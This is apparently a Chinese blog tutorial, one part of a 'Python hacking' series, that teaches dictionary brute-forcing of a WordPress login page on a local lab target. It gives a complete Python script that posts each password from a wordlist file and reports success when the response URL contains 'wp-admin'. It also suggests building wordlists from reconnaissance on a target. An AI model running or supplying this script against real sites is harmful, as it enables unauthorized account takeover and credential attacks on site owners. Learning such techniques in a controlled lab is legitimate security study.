Python黑客攻防(八)密码破解攻击

前言

进行黑客攻击通常需要做大量重复性工作。如果黑客直接通过浏览器攻击Web网站,就要不断手动修改输入值,并反复点击。但如果可以在应用程序内部访问Web网站并接收结果值,那么只需要使用简单的几行代码就能成功攻破目标网站。本篇文章讲解对网站的登入密码进行暴力破解。

准备

python环境

靶场->Python黑客攻防(四)搭建测试环境

教程

1.先开启靶场,浏览器输入http://127.0.0.1/wp-login.php,该页面可以输入用户名和密码,是我们的目标页面。
在这里插入图片描述
2.了解python是如何调用web页面的。见下方代码及分析。在这里插入图片描述


import urllib.request

url = " http://127.0.0.1/wp-login.php"
values = {'log': 'python', 'pwd': 'python1'}
headers = {'User-Agent': 'Mozilla/4.0(compatible;MIS 5.5; Windows NT)'}
data = urllib.parse.urlencode(values).encode(encoding='utf-8')
request = urllib.request.Request(url, data, headers)  #创建Request对象
response = urllib.request.urlopen(request) #调用Web页面使用Request对象返回结果值

print("#UTL:%s"%response.geturl())  # 输出URL
print("#CODE:%s"%response.getcode())  #输出状态码
print("#INFO:%s"%response.info())  
print("#DATA:%s"%response.read())

分析:

破解密码是我们的目的,这里我们假设已经知道用户名为python,键‘pwd’对应的值就是密码。这是我们要传送的值。我们先设置错误的密码,目的是查看返回给我们的数据。第五行headers是设置HTTP头值,第六行是将传送值设置为HTTP协议形式。第七行是创建Request对象,若只简单调用URL,放入URL参数即可。使用的是POST方法传递值或需要设置头部分值时,要分别将相应数据作为参数传入,运行结果见下图。
在这里插入图片描述3.由上图的错误密码运行结果可知返回的URL是我们原始的URL,现在我们也点鼠标右键查看源代码。在这里插入图片描述HTML源代码含有多种标记,其中,需要掌握用于接收用户输人并传递给Web服务器的标记与字段。首先,标记的action字段用于指定接收用户输人的页面。标记的name字段用于设置保存用户输人值的变量名。从HTML源代码可知,用户名保存于log变量,密码保存于pwd变量,然后传送给Web服务器。

现在我们尝试传入的是正确的密码,查看一下返回的数据。在这里插入图片描述在这里插入图片描述由上图可以看到返回的URL与上次的不同,并且URL中wp-admin可以很明显的区别于刚才的URL,这个我们后面可以利用。

4.我们用密码字典来进行暴破,密码字典是很关键的一部分,我们可以通过对网站的信息收集,然后在线生成密码字典,提高破解速度。也可以下载专门的字典文件,这里我们在线生成一个密码字典,如下图,输入信息生成密码,然后创建文本,将密码粘贴进去。在这里插入图片描述在这里插入图片描述5.python密码破解

# -*- coding: gbk -*-
import urllib.request

url = " http://127.0.0.1/wp-login.php"
user_login = "python"

wordlist = open(r"C:\Users\ASUS\Desktop\word.txt", "r",encoding='UTF-8')
passwords = wordlist.readlines()
for password in passwords:
    password = password.strip()
    values = {'log': user_login, 'pwd': password}
    data = urllib.parse.urlencode(values).encode(encoding='utf-8')
    request = urllib.request.Request(url, data)
    response = urllib.request.urlopen(request)


    try:
        idx = response.geturl().index('wp-admin')

    except:
        idx = 0

    if (idx>0):
        print("-"*10+"破解成功!密码为:"+password+"-"*10)
        break
    else:
        print("-"*10+"破解中.....正在尝试:"+password+"-"*10)

wordlist.close()

在这里插入图片描述这代码是在上一个代码的基础上添加了循环,读取字典及登录检测,登录检测就是第18行的对返回的URL进行是否包含管理页面地址的子字符串检测,以此来判断是否登录成功,现在运行代码,破解成功。在这里插入图片描述觉得不错可以关注微信公众号:黑客帮。

在这里插入图片描述

  • 5
    点赞
  • 61
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值